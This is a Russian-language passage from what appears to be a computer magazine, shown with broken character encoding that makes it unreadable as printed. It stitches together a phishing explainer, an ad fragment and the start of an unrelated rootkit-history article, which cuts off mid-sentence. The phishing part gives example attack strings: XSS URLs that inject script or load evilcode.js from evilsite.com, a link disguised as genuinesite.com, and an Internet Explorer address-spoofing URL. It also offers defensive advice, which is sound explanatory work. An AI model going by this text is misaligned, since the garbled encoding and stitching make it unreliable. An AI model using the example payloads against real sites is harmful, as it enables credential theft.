íóæíî ïðåîáðàçîâàòü â IP-àäðåñ, íàïðèìåð,
«192.220.34.11». Ýòà òðîÿíñêàÿ ïðîãðàììà ðàçðà-
áîòàíà òàêèì îáðàçîì, ÷òîáû èçìåíÿòü çíà÷åíèå
êëþ÷à ñèñòåìíîãî ðååñòðà «ÈìÿÑåðâåðà» íà
ïîääåëüíûé IP-àäðåñ. Åñëè æåðòâà âïèñûâàåò âåð-
íûé URL, åå íàïðàâëÿþò íà ôàëüøèâûé web-ñàéò.
Òî åñòü â ýòîì ñëó÷àå âîîáùå íå òðåáóåòñÿ íèêîãî
íèêóäà çàìàíèâàòü.

IRC èè èèíòåðíåò-ïïåéäæåðû. Ðàñïðîñòðàíåí-
íîñòü IRC è èíòåðíåò-ïåéäæåðîâ (IM) íå ìîãëà íå
ñïîñîáñòâîâàòü îáðàùåíèþ çëîóìûøëåííèêîâ ê
ýòîìó êàíàëó ðàñïðîñòðàíåíèÿ âðåäîíîñíîãî ÏÎ.
Ïîñêîëüêó áîëüøèíñòâî IRC è IM-êëèåíòîâ ðàçðå-
øàþò çàãðóçêó ðàçëè÷íîãî ðîäà ñîäåðæèìîãî
(ãðàôèêîâ, URL-ññûëîê è ò.ä.), íåòðóäíî àäàïòèðî-
âàòü ìíîãèå ìåòîäû ôèøèíãà ïîä ýòîò êàíàë ðàñ-
ïðîñòðàíåíèÿ, à ïîâñåìåñòíîå ðàñïðîñòðàíåíèå
áîò-ñåòåé äåëàåò ýòó çàäà÷ó åùå ëåã÷å.

çàðàæåííûå ììàøèíû. Íóæíî îòìåòèòü, ÷òî
ïîñòîÿííî óâåëè÷èâàåòñÿ êîëè÷åñòâî äîìàøíèõ
êîìïüþòåðîâ, êîòîðûå èñïîëüçóþòñÿ çëîóìû-
øëåííèêàìè â êà÷åñòâå èñòî÷íèêà àòàêè. Óñòàíîâ-
êà òðîÿíñêîé ïðîãðàììû íà òàêîé êîìïüþòåð ïðå-
âðàùàåò åãî â «ïðîìåæóòî÷íîå çâåíî» ìåæäó
çëîóìûøëåííèêîì è æåðòâîé.

ìåòîäû ôôèøèíãîâûõ ààòàê. Ïîñêîëüêó ôèøå-
ðû ìàòåðèàëüíî çàèíòåðåñîâàíû â óñïåøíîñòè
ñâîèõ àòàê, èìè ðàçðàáîòàíî âåëèêîå ìíîæåñòâî
ñïîñîáîâ, êîòîðûå çàñòàâëÿþò ïîëüçîâàòåëÿ îá-
ðàùàòüñÿ ê ñåðâåðó çëîóìûøëåííèêà èëè åãî âåá-
ñòðàíèöå. Âîò íàèáîëåå ðàñïðîñòðàíåííûå: 

— ÀÒÀÊÀ «×ÅËÎÂÅÊ ÏÎÑÅÐÅÄÈÍÅ».
— ÏÓÒÀÍÈÖÀ Ñ URL. 
— CROSS-SITE SCRIPTING. 
— ÀÒÀÊÀ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ 

ÏÐÅÄÎÏÐÅÄÅËÅÍÍÎÃÎ 

ÈÄÅÍÒÈÔÈÊÀÒÎÐÀ ÑÅÑÑÈÈ.
— ÝÊÑÏËÓÀÒÀÖÈß ÓßÇÂÈÌÎÑÒÅÉ.

1  Àòàêà «÷åëîâåê ïîñåðåäèíå». Îäíèì èç íà-
èáîëåå ïîïóëÿðíûõ è èçëþáëåííûõ ñïîñîáîâ àòà-
êè ÿâëÿåòñÿ ñõåìà «÷åëîâåê ïîñåðåäèíå», êîãäà
çëîóìûøëåííèê íàõîäèòñÿ ìåæäó ïîëüçîâàòåëåì
è âåá-ïðèëîæåíèåì, ê êîòîðîìó ïîëüçîâàòåëü ïî-
ëó÷àåò äîñòóï. Â ýòîì ñëó÷àå àòàêóþùèé âûñòóïà-
åò â ðîëè ïðîêñè-ñåðâåðà, ÷åðåç êîòîðûé ïîëüçî-
âàòåëü âçàèìîäåéñòâóåò ñ ïðèëîæåíèåì. Ýòà ôîð-
ìà àòàêè óñïåøíî ïðèìåíÿåòñÿ êàê äëÿ http, òàê è
äëÿ https-ñîåäèíåíèé. Äëÿ ïîëüçîâàòåëÿ ïîäêëþ-
÷åíèå ê ïðîêñè-ñåðâåðó çëîóìûøëåííèêà âûãëÿ-
äèò òî÷íî òàê æå, êàê îáû÷íîå ëåãèòèìíîå ïîä-
êëþ÷åíèå. Â ñëó÷àå èñïîëüçîâàíèÿ çàùèùåííîãî
ñîåäèíåíèÿ HTTPS (ñ èñïîëüçîâàíèåì SSL) äàí-
íûå ïîëüçîâàòåëÿ ìîãóò áûòü çàïèñàíû â íåçàøè-
ôðîâàííîì âèäå, òàê êàê ïîëüçîâàòåëü ñíà÷àëà
ñîåäèíÿåòñÿ ñ ïðîêñè àòàêóþùåãî, à òîò, â ñâîþ
î÷åðåäü, óñòàíàâëèâàåò SSL-ñîåäèíåíèå ñ ðåàëü-
íûì ñåðâåðîì óæå îò ñâîåãî èìåíè.

Äëÿ òîãî ÷òîáû óñïåøíî âûñòóïàòü â ðîëè
ïðîêñèðóþùåãî ñåðâåðà, àòàêóþùèé ìîæåò ïðè-
ìåíÿòü íåñêîëüêî ìåòîäîâ:

— ÏÐÎÇÐÀ×ÍÛÉ ÏÐÎÊÑÈ. ÍÅ ÇÀÌÅÒÅÍ 
ÄËß ÏÎËÜÇÎÂÀÒÅËß, ÍÎ ÏÐÈ ÝÒÎÌ 
ÏÅÐÅÕÂÀÒÛÂÀÅÒ È ÎÁÐÀÁÀÒÛÂÀÅÒ
ÂÅÑÜ ÒÐÀÍÇÈÒÍÛÉ ÒÐÀÔÈÊ.

— ÎÒÐÀÂËÅÍÈÅ DNS-ÊÝØÀ. ÇËÎÍÀÌÅÐÅÍ-
ÍÛÉ ÏÎËÜÇÎÂÀÒÅËÜ ÂÍÎÑÈÒ 
ÈÇÌÅÍÅÍÈß Â ÊÝØ DNS ÒÀÊÈÌ 
ÎÁÐÀÇÎÌ, ×ÒÎ ÏÐÈ ÇÀÏÐÎÑÅ 
ËÅÃÀËÜÍÎÃÎ ÈÌÅÍÈ ÏÎËÜÇÎÂÀÒÅËÞ
ÂÎÇÂÐÀÙÀÅÒÑß IP-ÀÄÐÅÑ 
ÏÎÄÑÒÀÂÍÎÃÎ ÑÅÐÂÅÐÀ.

— ÏÓÒÀÍÈÖÀ Ñ URL. ÐÅÃÈÑÒÐÀÖÈß URL,
Î×ÅÍÜ ÏÎÕÎÆÈÕ ÍÀ ÀÒÀÊÓÅÌÛÉ 
ÈËÈ ÔÈØÈÍÃÎÂÛÉ. ÍÀÏÐÈÌÅÐ, 
WHITEHOUSE.GOV È .COM Î×ÅÍÜ 
ÑÈËÜÍÎ ÎÒËÈ×ÀÞÒÑß ÏÎ ÑÎÄÅÐÆÀ-
ÍÈÞ. ÏËÞÑ Ó×ÈÒÛÂÀÞÒÑß ÑÀÌÛÅ 
ÐÀÇÍÛÅ ÎÏÅ×ÀÒÊÈ ÏÎËÜÇÎÂÀÒÅËÅÉ
(ÒÈÏÀ MICRO, MICO, MICOR...).

— ÊÎÍÔÈÃÓÐÀÖÈß ÏÐÎÊÑÈ. ÂÑÒÐÅ×ÀÅÒÑß
ÐÅÆÅ ÄÐÓÃÈÕ. ÁÐÀÓÇÅÐÛ ÌÎÆÍÎ 
ÀÂÒÎÌÀÒÈ×ÅÑÊÈ ÊÎÍÔÈÃÓÐÈÐÎÂÀÒÜ 
Ñ ÏÎÌÎÙÜÞ PAC-ÑÊÐÈÏÒÎÂ 
È ÏÐÎÒÎÊÎËÀ WPAD (WEB PROXY 
AUTODISCOVERY PROTOCOL). ÒÎ ÅÑÒÜ 
Ñ ÏÎÌÎÙÜÞ ÝÒÈÕ ÑÐÅÄÑÒÂ ÌÎÆÍÎ 
ÍÀÏÐÀÂÈÒÜ ÏÎËÜÇÎÂÀÒÅËß ×ÅÐÅÇ
ÏÎÄÑÒÀÂÍÎÉ ÏÐÎÊÑÈ-ÑÅÐÂÅÐ.

2  Ïóòàíèöà ñ URL. Îäíà èç íàèáîëåå ïðî-
ñòûõ è áàíàëüíûõ òåõíèê, êîòîðàÿ, òåì íå ìåíåå,
ïðåêðàñíî ðàáîòàåò ñ äîâåð÷èâûìè ïîëüçîâàòåëÿ-
ìè — èñêàæåíèå èìåíè äîìåíà. Â ðàìêàõ ýòîãî ìå-
òîäà çëîóìûøëåííèê èñêàæàåò ðåàëüíîå äîìåííîå
èìÿ è ïðèñâàèâàåò åãî ñâîåìó ñåðâåðó. Ñõîäñòâî
ïîäñòàâíîãî âåá-àäðåñà ñ ðåàëüíûì â áîëüøèíñòâå
ñëó÷àåâ íå âûçûâàåò ó ïîëüçîâàòåëÿ ïîäîçðåíèé:

— HTTP://PRIVATEBANKING.MYBANK.COM.CH 
— HTTP://MYBANK.PRIVATEBANKING.COM 
— HTTP://PRIVATEBANKING.MYBONK.COM  
— HTTP://PRIVATEBANKING.

MYBANK.HACKPROOF.COM

3  Ñross-site scripting. Àòàêè cross-site scripting
(CSS) èñïîëüçóþò òåõíèêó èíúåêöèè êîäà â ëåãèò-
èìíûå âåá-ïðèëîæåíèÿ. Êàê ïðàâèëî, âîçìîæ-
íîñòü ïðèìåíÿòü òàêèå òåõíèêè ñâÿçàíà ñ îãðåõà-
ìè ðàçðàáîò÷èêîâ ýòèõ ïðèëîæåíèé. Òèïè÷íûé
ïðèìåð àòàêè CSS âûãëÿäèò ïðèìåðíî ñëåäóþ-
ùèì îáðàçîì:

— ÏÎËÍÀß ÇÀÌÅÍÀ HTML (Â ÊÀ×ÅÑÒÂÅ ÏÀ-
ÐÀÌÅÒÐÀ ÍÀÕÎÄÈÒÑß ÑÑÛËÊÀ ÍÀ ÑÀÉÒ
ÇËÎÓÌÛØËÅÍÍÈÊÀ): HTTP://MY-
BANK.COM/EBANKING?URL=HTTP://EVILSI-
TE.COM/PHISHING/FAKEPAGE.HTM. 

— ÂÑÒÀÂÊÀ ÑÊÐÈÏÒÀ Â URL: HTTP://MY-
BANK.COM/EBANKING?PAGE=1&CLI-
ENT=<SCRIPT>EVILCODE... 

— ÏÐÈÍÓÄÈÒÅËÜÍÀß ÇÀÃÐÓÇÊÀ ÂÍÅØÍÅ-
ÃÎ ÊÎÄÀ: HTTP://MYBANK.COM/EBAN-
KING?PAGE=1&RESPONSE=EVILSI-
TE.COM%21EVILCODE.JS&GO=2.

Ñóòü äàííîé àòàêè çàêëþ÷àåòñÿ â òîì, ÷òî ïîëüçîâà-
òåëü âìåñòå ñ ëåãèòèìíîé ñòðàíèöåé ñàéòà ïîëó÷àåò
òàêæå è ñîäåðæèìîå ñòðàíèöû çëîóìûøëåííèêà. 
Â äàííîì ñëó÷àå ýòî ïðîèñõîäèò èç-çà íåäîðàáîòîê
ïðè íàïèñàíèè êîäà äëÿ âåá-ïðèëîæåíèÿ áàíêà.

4  Àòàêà ñ èñïîëüçîâàíèåì ïðåäîïðåäåëåííî-
ãî èäåíòèôèêàòîðà ñåññèè. Â ðàìêàõ óñòàíîâëåí-
íîé ñåññèè íà http-ñåðâåðå ìîæíî îòñëåæèâàòü ïå-
ðåìåùåíèÿ ïîëüçîâàòåëÿ ïî ñòðàíèöàì ñàéòà. 
Â âåá-ïðèëîæåíèÿõ, äëÿ êîòîðûõ òðåáóåòñÿ àóòåí-
òèôèêàöèÿ ïðè ïîìîùè èäåíòèôèêàòîðà ñåññèè,
ìîãóò èñïîëüçîâàòüñÿ cookies, ñêðûòûå ïîëÿ èëè
ïîëÿ, ñîäåðæàùèåñÿ â URL. 

Ìíîãèå âåá-ïðèëîæåíèÿ ïðèìåíÿþò ïðèìè-
òèâíóþ ñèñòåìó óïðàâëåíèÿ ñîñòîÿíèåì è ïîçâî-
ëÿþò óñòàíàâëèâàòü èäåíòèôèêàòîðû ñåññèè â ðàì-
êàõ êëèåíòñêîãî ñîåäèíåíèÿ. Äàííûé âèä àòàêè
ïîäðàçóìåâàåò, ÷òî ôèøèíãîâîå ñîîáùåíèå ñî-
äåðæèò âåá-ññûëêó íà ðåàëüíûé ñàéò, íî âìåñòå ñ
íåé ñîäåðæèò è ïðåäóñòàíîâëåííîå ïîëå èäåíòè-
ôèêàòîðà ñåññèè. Äî òåõ ïîð, ïîêà ëåãèòèìíûé
ïîëüçîâàòåëü íå àóòåíòèôèöèðóåòñÿ íà ñåðâåðå,
çàïðîñû àòàêóþùåãî ñåðâåðîì íå îáðàáàòûâàþò-
ñÿ, çëîóìûøëåííèê ïîëó÷àåò ñîîáùåíèÿ îá îøèá-
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êå (íàïðèìåð, 404 File Not Found, 302 Server Redirect
è ò.ä.). Íî êàê òîëüêî ôèøåð äîæèäàåòñÿ ìîìåíòà,
êîãäà ïîëüçîâàòåëü çàéäåò ïî ññûëêå è àóòåíòèôè-
öèðóåòñÿ ñî ñâîèì èäåíòèôèêàòîðîì, îí ìîæåò
âîñïîëüçîâàòüñÿ åãî àóòåíòèôèêàöèîííûìè äàí-
íûìè ñ òåì æå ñàìûì (ïðåäóñòàíîâëåííûì) èäåí-
òèôèêàòîðîì ñåññèè. Â ýòîì ñëó÷àå çëîóìûøëåí-
íèê ìîæåò ïîëó÷àòü äîñòóï ê çàêðûòûì ñòðàíèöàì
ñàéòà è ïåðåõâàòûâàòü äàííûå ïîëüçîâàòåëÿ. 

5  Ïîäìåíà ñîäåðæèìîãî ñòðàíèöû. Íåêîòî-
ðûå èç ñóùåñòâóþùèõ ìåòîäîâ ôèøèíãà ïîçâîëÿþò
ïîìåùàòü ïîääåëüíîå ñîäåðæèìîå ñòðàíèöû ïîâåðõ
íàñòîÿùåãî. Îäíà èç òåõíèê ðåàëèçàöèè ýòîãî — èñ-
ïîëüçîâàíèå dhtml-ôóíêöèè DIV. Ñ ïîìîùüþ ýòîé
ôóíêöèè çëîóìûøëåííèê ìîæåò ñäåëàòü ñîáñòâåí-
íóþ ñòðàíèöó (âêëþ÷àÿ ãðàôèêó) ïîâåðõ íàñòîÿùåé.

6  Screen grabbing. Íåêîòîðûå âèäû ôèøèíã-
àòàê èñïîëüçóþò òåõíèêó ñíÿòèÿ ñêðèíøîòîâ ïðè
ââîäå ïîëüçîâàòåëüñêèõ äàííûõ â âåá-ïðèëîæå-
íèÿ. Ýòà ôóíêöèîíàëüíîñòü èñïîëüçóåòñÿ ñ öåëüþ
îáõîäà âñòðîåííûõ â ôèíàíñîâûå ïðèëîæåíèÿ òåõ-
íîëîãèé çàùèòû îò ñòàíäàðòíûõ key-logging àòàê. 

7  Èñïîëüçîâàíèå óÿçâèìîñòåé â ïî÷òîâûõ
ïðîòîêîëàõ è áðàóçåðàõ. Ñóùåñòâóþùèå óÿçâèìî-
ñòè â ïî÷òîâûõ ïðîòîêîëàõ òàêæå ïîçâîëÿþò ôè-
øåðàì îáìàíûâàòü äîâåð÷èâûõ ïîëó÷àòåëåé. Íà-
ïðèìåð, ìîäèôèöèðóÿ èìÿ îòïðàâèòåëÿ â ñòðîêå
«From» ïîä èìÿ ïåðâîèñòî÷íèêà.

Ïðèìåð íàïèñàíèÿ ññûëêè, êîòîðàÿ âñòàâëÿ-
åòñÿ â âåá-ñòðàíèöó èëè ýëåêòðîííîå ñîîáùåíèå:
<a href= http://fakesite.com>https://genuinesite.com</a>.
Äëÿ ïîëüçîâàòåëÿ ññûëêà âûãëÿäèò êàê https://ge-
nuinesite.com, îäíàêî, êëèêàÿ ïî íåé, îí îêàçûâàåò-
ñÿ íà ñàéòå http://fakesite.com.

Ìîæíî òàêæå ïðèâåñòè åùå îäèí ïðèìåð ñ
èñïîëüçîâàíèåì óÿçâèìîñòåé Internet Explorer. Íå-
êîòîðûå èç íèõ ïîçâîëÿþò çëîóìûøëåííèêó ìîäè-
ôèöèðîâàòü ññûëêó â àäðåñíîé ñòðîêå áðàóçåðà.

Òàê, íàïðèìåð, çàõîäÿ ïî ññûëêå http://www.genuine-
site.com%01%00@fakesite.com/, ïîëüçîâàòåëü âèäèò â
àäðåñíîé ñòðîêå ñâîåãî áðàóçåðà ñëåäóþùåå:
http://www.genuinesite.com. Íà ñàìîì äåëå îí íàõî-
äèòñÿ íà ñàéòå çëîóìûøëåííèêà. Ýòîò ìåòîä ýê-
ñïëóàòèðóåò íåêîððåêòíóþ èíòåðïðåòàöèþ íåêî-
òîðûõ ñèìâîëîâ, â äàííîì ñëó÷àå %01 è %00. 

8  Ìàñêèðîâêà ññûëêè. Â áîëüøèíñòâå ôè-
øèíã-ñîîáùåíèé ñîäåðæèòñÿ ññûëêà, êîòîðàÿ, íà
ïåðâûé âçãëÿä, âûãëÿäèò êàê ïîäëèííàÿ. Îäíàêî
òåêñò òàêîé ññûëêè, êàê ïðàâèëî, íå áîëåå ÷åì ìà-
ñêèðîâêà äëÿ äðóãîé, êîòîðàÿ ïðèâåäåò òåáÿ íà ñàéò
ìîøåííèêà. Åñëè òû íàâåäåøü íà ññûëêó ìûøêó, òî
â ñðîêå ñîñòîÿíèÿ ïî÷òîâîãî êëèåíòà îòîáðàçèòñÿ
íå÷òî, âîâñå íå ïîõîæåå íà àäðåñ òâîåãî áàíêà.

Ñ öåëüþ ìàñêèðîâêè è îòâëå÷åíèÿ âíèìàíèÿ
â ôèøèíã-ñîîáùåíèÿ ìîãóò äîáàâëÿòüñÿ è ðåàëü-
íûå ññûëêè, íî, êàê ïðàâèëî, òà ññûëêà, ïî êîòî-
ðîé ïðåäëàãàåòñÿ çàéòè è ââåñòè ñâîè äàííûå, ÿâ-
ëÿåòñÿ ïîääåëüíîé. 

9  Èìèòàöèÿ çàùèùåííîãî ñîåäèíåíèÿ. Â
íåêîòîðûõ ñëó÷àÿõ â ñòðîêå áðàóçåðà ìîæåò èìè-
òèðîâàòüñÿ çàùèùåííîå ñîåäèíåíèå https. Ïîýòî-
ìó ïðè îòêðûòèè çàùèùåííîãî ñîåäèíåíèÿ íåîáõî-
äèìî îáðàùàòü âíèìàíèå íà ïðèñóòñòâèå «çàìêà»
â ñòàòóñíîé ñòðîêå áðàóçåðà (Internet Explorer).

1 0  Èñêàæåíèå àäðåñà. Äîâîëüíî ðàñïðî-
ñòðàíåí òàêîé ïðèåì ìàñêèðîâêè àäðåñà, ïðè êî-
òîðîì ìåíÿåòñÿ îäíà áóêâà èëè ñèìâîë. È ïðè íåâ-
íèìàòåëüíîì ïðîñìîòðå ïîëüçîâàòåëü ìîæåò íå
çàìåòèòü ðàçíèöû. Íàïðèìåð, ðåàëüíûé àäðåñ
www.paypal.com ìîæåò ïîäìåíÿòüñÿ íà www.pay-
pal.com èëè www.verify-paypal.com. Âàðèàíòîâ òàêèõ
ñõîæèõ íàïèñàíèé ìíîãî, è íåçàäà÷ëèâûå ïîëüçî-
âàòåëè ÷àñòî íå çàìå÷àþò ïîäâîõà.

1 1  Ñêðûòûé òåêñò. Â íåêîòîðûå ñîîáùåíèÿ,
äëÿ îáìàíà ôèëüòðîâ, âñòàâëåí òåêñò òàêîãî æå
öâåòà, ÷òî è ôîí. Åñëè âûáðàòü â ìåíþ ïî÷òîâîãî
êëèåíòà îïöèþ «âûäåëèòü âñå», òî ìîæíî óâèäåòü,
ñîäåðæèò ëè ñîîáùåíèå ñêðûòûé òåêñò. È ÿâëÿåò-
ñÿ ëè òåêñòîì òî, ÷òî ÿêîáû «íàïèñàíî». 

1 2  Êîìáèíèðîâàííûå óãðîçû. Ñåé÷àñ âñå
÷àùå ôèøèíãîâûå àòàêè èñïîëüçóþòñÿ íå òîëüêî
êàê ñðåäñòâî, òîëêàþùåå ïîëüçîâàòåëÿ «äîáðî-
âîëüíî ñäàâàòü» ïàðîëè è ëè÷íûå äàííûå, íî è
êàê èíñòðóìåíò äëÿ çàãðóçêè íà ïîëüçîâàòåëüñêóþ
ìàøèíó êàêîãî-ëèáî äðóãîãî âðåäîíîñíîãî ïðî-
ãðàììíîãî îáåñïå÷åíèÿ, ÷àùå âñåãî spyware èëè
òðîÿíñêîãî ÏÎ. Ýòî ïîçâîëÿåò çëîóìûøëåííèêó, â
ñëó÷àå óñïåøíîé àòàêè, ïîëó÷èòü áîëåå ïîëíóþ è
öåííóþ èíôîðìàöèþ ñ çàðàæåííîé ìàøèíû, à
òàêæå èñïîëüçîâàòü êîìïüþòåð æåðòâû â êà÷å-
ñòâå ïëàöäàðìà äëÿ íîâîé àòàêè.

÷òî ääåëàòü? Ëó÷øèé ñîâåò, êàê íå ïîïàñòü â
ëîâóøêó, — óäàëÿòü ïîäîáíûå ïèñüìà. Âñå ñîîáùå-
íèÿ îò îíëàéí-ñëóæá, â êîòîðûõ òåáÿ ïðîñÿò ââåñòè
èìÿ ïîëüçîâàòåëÿ è ïàðîëü, äîëæíû ðàññìàòðè-
âàòüñÿ, êàê ïîäîçðèòåëüíûå. Íèêîãäà íå ñòîèò ââî-
äèòü âàæíûå äàííûå â ôîðìó, åñëè ñîåäèíåíèå ñ
ñàéòîì íå çàøèôðîâàíî ïî ñòàíäàðòó SSL (https://).

Óñïåøíî áîðîòüñÿ ñ ôèøèíãîì, êàê è ñ ìíîãè-
ìè äðóãèìè êèáåðóãðîçàìè, ìîæíî, èñïîëüçóÿ êîì-
ïëåêñ ìåð. Íà äîëæíîì óðîâíå äîëæíà áûòü îðãà-
íèçîâàíà ôèëüòðàöèÿ ñïàì-ñîîáùåíèé è âîâðåìÿ
äîëæíî ïðîèçâîäèòüñÿ îáíîâëåíèå ïðîãðàììíîãî
îáåñïå÷åíèÿ, à ïîëüçîâàòåëè äîëæíû ïîìíèòü îá
îïàñíîñòè ñîâåðøåíèÿ êàêèõ-ëèáî ïðåäëàãàåìûõ
èì èòåðàöèé. Åñëè ñîîáùåíèå óæ î÷åíü ïîõîæå íà
ïîäëèííîå, òî âñåãäà âîçìîæíî îòïðàâèòü çàïðîñ î
ïîäòâåðæäåíèè åãî ïîäëèííîñòè ó ïåðâîèñòî÷íèêà.
Â ýòîì ñëó÷àå íàäî ïîìíèòü î òîì, ÷òî ññûëêó íà
ñàéò â áðàóçåðå èëè àäðåñ â ñòðîêå «êîìó» â ñîîá-
ùåíèè íóæíî ââîäèòü âðó÷íóþ, à ïîñëå çàãðóçêè
ñòðàíèöû ñàéòà óáåäèòüñÿ â òîì, ÷òî ññûëêà â ñòðî-
êå áðàóçåðà íå èçìåíèëàñü.

Äîâîëüíî ðàñïðîñòðàíåíî ìíåíèå, ÷òî ðåøå-
íèÿ ïî çàùèòå îò ñïàìà, ðàáîòàþùèå òîëüêî íà
ðàñïîçíàâàíèå ñïàì-òåõíèê, íå ñïàñàþò îò ôèøèí-
ãîâûõ àòàê. Âîçìîæíî, çäåñü áîëüøå ìîãóò ïîìî÷ü
ïðîäóêòû è ñåðâèñû, ïîçâîëÿþùèå ôèëüòðîâàòü
ñîîáùåíèÿ ýëåêòðîííîé ïî÷òû, îñíîâûâàÿñü íà IP-
àäðåñàõ èñòî÷íèêà ðàññûëêè. ×òî êàñàåòñÿ çàùè-
òû îò ôàðìèíãà, òî çäåñü îòíîñèòåëüíóþ ïîëåç-
íîñòü ìîãóò îêàçàòü ñàìè èíòåðíåò-áðàóçåðû. Íà-
ïðèìåð, Internet Exporer 7 è Mozilla Firefox 2 ñîäåð-
æàò â ñåáå âñòðîåííûå òåõíîëîãèè, áëîêèðóþùèå
ïîäîçðèòåëüíûå ñàéòû äî çàãðóçêè èëè ïðåäó-
ïðåæäàþùèå ïîëüçîâàòåëÿ îá îïàñíîñòè

ëèäåðû õèò-ïàðàäà

ËÈÄÈÐÓÞÙÈÅ ÏÎÇÈÖÈÈ ÏÎ ÊÎËÈ×Å-
ÑÒÂÓ ÏÎÄÄÅËÛÂÀÅÌÛÕ ÎÒ ÈÕ ÈÌÅÍÈ
ÑÎÎÁÙÅÍÈÉ ÑÅÃÎÄÍß ÇÀÍÈÌÀÞÒ
EBAY, PAYPAL È CITIBANK. ÏÎÄÄÅËÊÀ
ÑÎÎÁÙÅÍÈÉ ÎÒ ÄÐÓÃÈÕ ÁÀÍÊÎÂ È ÏËÀ-
ÒÅÆÍÛÕ ÑÈÑÒÅÌ ÈÄÅÒ ÑÎ ÇÍÀ×ÈÒÅËÜ-
ÍÛÌ ÎÒÐÛÂÎÌ. ÑÓÙÅÑÒÂÓÅÒ ÅÙÅ ÎÒ-
ÄÅËÜÍÛÉ ÂÈÄ ÔÈØÈÍÃÀ, ÒÀÊ ÍÀÇÛÂÀ-
ÅÌÛÉ «SPEAR PHISHING», ÇÀÒÎ×ÅÍÍÛÉ
ÏÎÄ ÊÎÍÊÐÅÒÍÓÞ ÖÅËÅÂÓÞ ÀÓÄÈÒÎ-
ÐÈÞ: ÑÎÒÐÓÄÍÈÊÎÂ ÊÀÊÎÉ-ËÈÁÎ ÊÎÌ-
ÏÀÍÈÈ, ÃÎÑÓÄÀÐÑÒÂÅÍÍÎÉ ÑÒÐÓÊÒÓÐÛ
È Ò.Ï. ÒÀÊÈÅ ÑÎÎÁÙÅÍÈß ×ÀÑÒÎ ÌÀ-
ÑÊÈÐÓÞÒÑß ÏÎÄ ÑÎÎÁÙÅÍÈß ÎÒ ÄÎË-
ÆÍÎÑÒÍÛÕ ËÈÖ, ÎÁÑËÓÆÈÂÀÞÙÈÕ ÑÈ-
ÑÒÅÌÓ: ÑÈÑÒÅÌÍÛÕ ÀÄÌÈÍÈÑÒÐÀÒÎ-
ÐÎÂ, ÑËÓÆÁÛ ÁÅÇÎÏÀÑÍÎÑÒÈ È Ò.Ä. ÖÅ-
ËÜÞ ÒÀÊÈÕ ÀÒÀÊ ßÂËßÅÒÑß ÏÎËÓ×ÅÍÈÅ
ÏÎËÜÇÎÂÀÒÅËÜÑÊÈÕ ÈÌÅÍ È ÏÀÐÎËÅÉ.

Ïîäñòàâíîé URL-àäðåñ îòïðàâëÿåò ïîëüçîâàòåëÿ íà
ìîøåííè÷åñêèé ñàéò

ËÈÄÈÐÓÞÙÈÅ ÏÎÇÈÖÈÈ ÏÎ ÊÎËÈ×ÅÑÒÂÓ ÏÎÄÄÅËÛÂÀÅÌÛÕ 
ÎÒ ÈÕ ÈÌÅÍÈ ÑÎÎÁÙÅÍÈÉ ÑÅÃÎÄÍß ÇÀÍÈÌÀÞÒ EBAY, PAYPAL 
È CITIBANK
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Âñå öåíû äåéñòâèòåëüíû íà ìîìåíò ïóáëèêàöèè ðåêëàìû



èñòîðèÿ ââîçíèêíîâåíèÿ ððóòêèòîâ. Áûòóåò
ìíåíèå, ÷òî ðóòêèòû ïîÿâèëèñü â ïîñëåäíèå íåñ-
êîëüêî ëåò. Ýòî, åñòåñòâåííî, íå òàê: èäåÿ ðóòêèòà
èçâåñòíà óæå áîëåå äåñÿòè ëåò. Âñå íà÷àëîñü åùå
âî âðåìåíà MS DOS — òîãäà áîëüøèíñòâî êîì-
ïüþòåðùèêîâ áûëè äîñòàòî÷íî îïûòíûìè è ìîãëè
íà ãëàç îáíàðóæèòü ïîÿâëåíèå âèðóñà â ñèñòåìå ïî
ìîäèôèêàöèè ðàçìåðîâ ôàéëîâ. Ñëåäîâàòåëüíî,
âèðóñîïèñàòåëÿì ïðèøëîñü ïðèìåíÿòü àêòèâíûå
ìåðû äëÿ ìàñêèðîâêè ñâîèõ äåòèù — è íà ñâåò ïî-
ÿâèëèñü òàê íàçûâàåìûå ñòåëñ-âèðóñû (îò àíãë.
Stealth — íåâèäèìêà). Òàêèì îáðàçîì, âîçíèêàåò
âîïðîñ: êàêàÿ ñâÿçü ìåæäó âèðóñîì (òåì áîëåå
äðåâíèì) è ðóòêèòîì? Îòâåò ïðîñò: îíè ïðèìåíÿþò
ñîâåðøåííî èäåíòè÷íûå ìåòîäèêè. Âî âðåìåíà MS
DOS àíàëîãîì API-ôóíêöèé áûëè ïðåðûâàíèÿ —
ñëåäîâàòåëüíî, âîçíèêàëî äâà ïóòè ìàñêèðîâêè:

1 Ïåðåõâàò ïðåðûâàíèÿ ñòàíäàðòíûì ìåòîäîì,
ïóòåì ìîäèôèêàöèè àäðåñà â òàáëèöå ïðåðûâàíèé.

2 Ìîäèôèêàöèÿ ìàøèííîãî êîäà ïðåðûâàíèÿ.
Äëÿ áîðüáû ñ òàêèìè «ðóòêèòàìè» ñóùåñòâî-

âàëè ñïåöèàëüíûå ñðåäñòâà, ðàáîòà êîòîðûõ ñâî-
äèëàñü ê ïîèñêó è ñíÿòèþ ïåðåõâàò÷èêîâ ïðåðûâà-
íèé, à òàêæå ê ïðÿìîìó ÷òåíèþ äèñêà. Ïîñëåäíèé
ìåòîä àêòèâíî ïðèìåíÿëñÿ â ðåâèçîðàõ. 

user-MMode ððóòêèòû. Ðàáîòàþùèå  â UserMode
ðóòêèòû, ïî ìîåé ñòàòèñòèêå, íàèáîëåå ðàñïðî-
ñòðàíåíû è ìíîãî÷èñëåííû. Íà òî åñòü íåñêîëüêî
ïðè÷èí, îñíîâíûå èç êîòîðûõ — âîçìîæíîñòü ðà-
áîòû ïîä Win9x è NT, ïðîñòîòà ðàçðàáîòêè è îò-
ëàäêè. Ïîäîáíûå ðóòêèòû ìîæíî ïèñàòü ïðàêòè÷å-
ñêè íà ëþáîì ÿçûêå (äàæå íà âñòðîåííîì â îôèñ
áåéñèêå). Ïî ïðèíöèïó äåéñòâèÿ, ðóòêèòû UserMo-
de ìîæíî ðàçäåëèòü íà íåñêîëüêî òèïîâ:

— ÐÓÒÊÈÒÛ, ÌÎÄÈÔÈÖÈÐÓÞÙÈÅ 
ÌÀØÈÍÍÛÉ ÊÎÄ ÏÎÐÀÆÀÅÌÎÉ 
ÏÐÎÃÐÀÌÌÛ. ÝÒÎ ÄÎÂÎËÜÍÎ 
ÝÊÇÎÒÈ×ÅÑÊÈÉ ÂÈÄ, ÐÀÁÎÒÀ 
ÊÎÒÎÐÎÃÎ ÎÑÍÎÂÀÍÀ ÍÀ ÀÍÀËÈÇÅ 
